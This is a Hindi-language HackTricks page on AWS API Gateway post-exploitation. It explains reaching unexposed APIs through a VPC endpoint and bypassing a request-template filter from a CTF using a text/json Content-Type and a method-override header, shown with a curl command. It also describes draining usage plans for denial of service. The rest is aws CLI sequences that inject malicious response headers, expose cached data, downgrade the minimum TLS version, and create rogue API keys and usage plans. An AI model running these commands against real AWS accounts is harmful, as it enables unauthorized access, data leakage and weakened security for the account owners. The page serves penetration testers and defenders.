AWS - API Gateway Post Exploitation

HackTricks को समर्थन दें

API Gateway

अधिक जानकारी के लिए देखें:

AWS - API Gateway Enum

अप्रकट APIs तक पहुँच

आप https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint पर com.amazonaws.us-east-1.execute-api सेवा के साथ एक endpoint बना सकते हैं, उस endpoint को एक नेटवर्क में एक्सपोज़ करें जहाँ आपको पहुँच हो (संभावित रूप से एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाला एक सुरक्षा समूह असाइन करें। फिर, EC2 मशीन से आप endpoint तक पहुँच सकेंगे और इसलिए उस gateway API को कॉल कर सकेंगे जो पहले एक्सपोज़ नहीं था।

Request body passthrough को बायपास करें

यह तकनीक इस CTF writeup में पाई गई थी।

जैसा कि AWS दस्तावेज़ में PassthroughBehavior अनुभाग में संकेत दिया गया है, डिफ़ॉल्ट रूप से, मान WHEN_NO_MATCH, जब अनुरोध के Content-Type हेडर की जाँच करता है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास कर देगा।

इसलिए, CTF में API Gateway में एक इंटीग्रेशन टेम्पलेट था जो फ्लैग को रिस्पॉन्स में एक्सफिल्ट्रेट होने से रोक रहा था जब एक अनुरोध Content-Type: application/json के साथ भेजा गया था:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

हालांकि, Content-type: text/json के साथ अनुरोध भेजने से उस फ़िल्टर को रोका जा सकता था।

अंत में, क्योंकि API Gateway केवल Get और Options की अनुमति दे रहा था, यह संभव था कि बिना किसी सीमा के एक मनमाना dynamoDB क्वेरी भेजी जा सके, POST अनुरोध के साथ क्वेरी को बॉडी में भेजकर और हेडर X-HTTP-Method-Override: GET का उपयोग करके:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration अनुभाग में आप देख सकते हैं कि keys का usage plan कैसे प्राप्त करें। यदि आपके पास key है और यह प्रति माह X usages तक सीमित है, तो आप इसे सिर्फ उपयोग करके DoS का कारण बन सकते हैं

API Key को HTTP header में x-api-key कहा जाता है, के अंदर शामिल करने की आवश्यकता है।

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateGatewayResponse और apigateway:CreateDeployment अनुमतियाँ हैं, वह संवेदनशील जानकारी लीक करने या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करने के लिए कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल करने के लिए मौजूदा Gateway Response को संशोधित कर सकता है

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

परीक्षण की आवश्यकता

apigateway:UpdateStage, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateStage और apigateway:CreateDeployment अनुमतियाँ हैं, मौजूदा API Gateway स्टेज को संशोधित कर सकता है ताकि ट्रैफ़िक को किसी अन्य स्टेज पर पुनर्निर्देशित किया जा सके या कैशिंग सेटिंग्स को बदलकर कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना।

परीक्षण की आवश्यकता

apigateway:PutMethodResponse, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:PutMethodResponse और apigateway:CreateDeployment अनुमतियाँ हैं, मौजूदा API Gateway REST API विधि की विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल हों जो संवेदनशील जानकारी को लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

परीक्षण की आवश्यकता

apigateway:UpdateRestApi, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateRestApi और apigateway:CreateDeployment अनुमतियाँ हैं, API Gateway REST API सेटिंग्स को संशोधित कर सकता है ताकि लॉगिंग को अक्षम किया जा सके या न्यूनतम TLS संस्करण को बदल सके, जिससे API की सुरक्षा कमजोर हो सकती है

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: API की सुरक्षा को कमजोर करना, जिससे अनधिकृत पहुंच या संवेदनशील जानकारी का खुलासा हो सकता है।

परीक्षण की आवश्यकता

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

एक हमलावर जिसके पास apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey अनुमतियाँ हैं, नए API कुंजियाँ बना सकता है, उन्हें उपयोग योजनाओं के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

संभावित प्रभाव: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना।

परीक्षण की आवश्यकता

HackTricks का समर्थन करें

Last updated